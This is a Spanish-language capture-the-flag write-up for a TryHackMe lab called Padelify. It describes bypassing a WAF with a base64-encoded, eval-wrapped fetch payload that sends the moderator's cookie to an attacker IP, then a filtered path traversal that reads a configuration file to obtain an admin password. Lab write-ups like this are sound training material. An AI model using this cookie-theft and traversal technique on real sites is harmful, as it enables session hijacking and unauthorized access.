XUT_ / MACHINES / THM

0072

Padelify

THMMACHINENONEMEDIUM

Introduction

padelify

Usa técnicas de red teaming para bypassear el WAF y obtener acceso administrador a la aplicación web.

Has ingresado en una competición de padel, pero tu rival sigue ascendiendo en la clasificación. El panel de administrador gestiona las aprobaciones y registros. ¿Puedes crackear el admin y reescribir el encuentro antes de que suene el silbato?

Getting the Flags

Reconocimiento Inicial

Comenzamos con un escaneo de puertos.

padelify

Ahora vamos a escanear dichos puertos más en profundidad.

padelify

Esto podría permitirnos realizar un XSS.

Vamos a listar directorios web.

txt
padelify.thm
    ├── config [200 451B]
    ├── js [200 461B]
    ├── logs [200 455B]
    │   └── error.log [200 1KB]
    ├── footer.php [200 33B]
    ├── header.php [200 728B]
    ├── login.php [200 467B]
    └── status.php [200 1KB]

Vamos a ver cómo se ve la web.

padelify

Aquí podemos ver algo de especial interés: El moderador debe aprobar nuestra cuenta.

Vamos a ver qué hay en los archivos que hemos encontrado.

padelify

Vamos a seguir mirando.

padelify

Y seguimos.


Profundización

Si intentamos entrar, por ejemplo a app.conf, nos sale lo siguiente:

padelify

Vamos a ver error.log

padelify


Explotación

Vamos primero a capturar la petición de registro y a probar diferentes payloads en BurpSuite.

padelify

Como habíamos visto que la httponly: not set, podemos intuir un ataque XSS en este formulario para robar la cookie de sesión de moderator. Sin embargo, hay un WAF protegiendo el entorno, por lo que tendremos que dar con el bypass correspondiente.

padelify

Parece que aunque subamos un payload como <script>alert('XSS')</script>, no tiene mayor repercusión, así que vamos a probar todos los campos para obtener la cookie de sesión del usuario moderator.

padelify

Parece que un payload con impacto real sí que ha sido detectado. Vamos a probar diferentes técnicas de ofuscación.

Después de un rato probando, parece que fetch y cookie son dos palabras que causan problemas con el WAF. Investigo técnicas de ofuscación con comentarios y entidades HTML pero ninguna funciona, por lo que hay que probar otros comandos.

padelify

Parece que atob y eval no están capados, por lo que mandamos fetch('http://IP:PUERTO' + document.cookie) encodeado en base64.

padelify

CAUTION: Por algún motivo en mi máquina no funcionó y estuve mucho tiempo atascado, hasta que probé con la attackbox.

Introducimos la cookie en el navegador y refrescamos la página.


Escalada de Privilegios

Si le damos al apartado Live, podemos ver que nos lleva a una página y que carga documentos:

padelify

Es aquí donde nos acordamos que había otros como header.php, y el más importante: /config/app.conf. Vamos a ver si podemos cargar uno inofensivo:

padelify

Efectivamente sí podemos, vamos a intentar un path traversal aquí:

padelify

Pero nos bloquea, así que vamos a probar alguna técnica de ofuscación.

padelify

Bingo! Eso parece una contraseña, vamos a probarla.

padelify

Y ahí lo tenemos.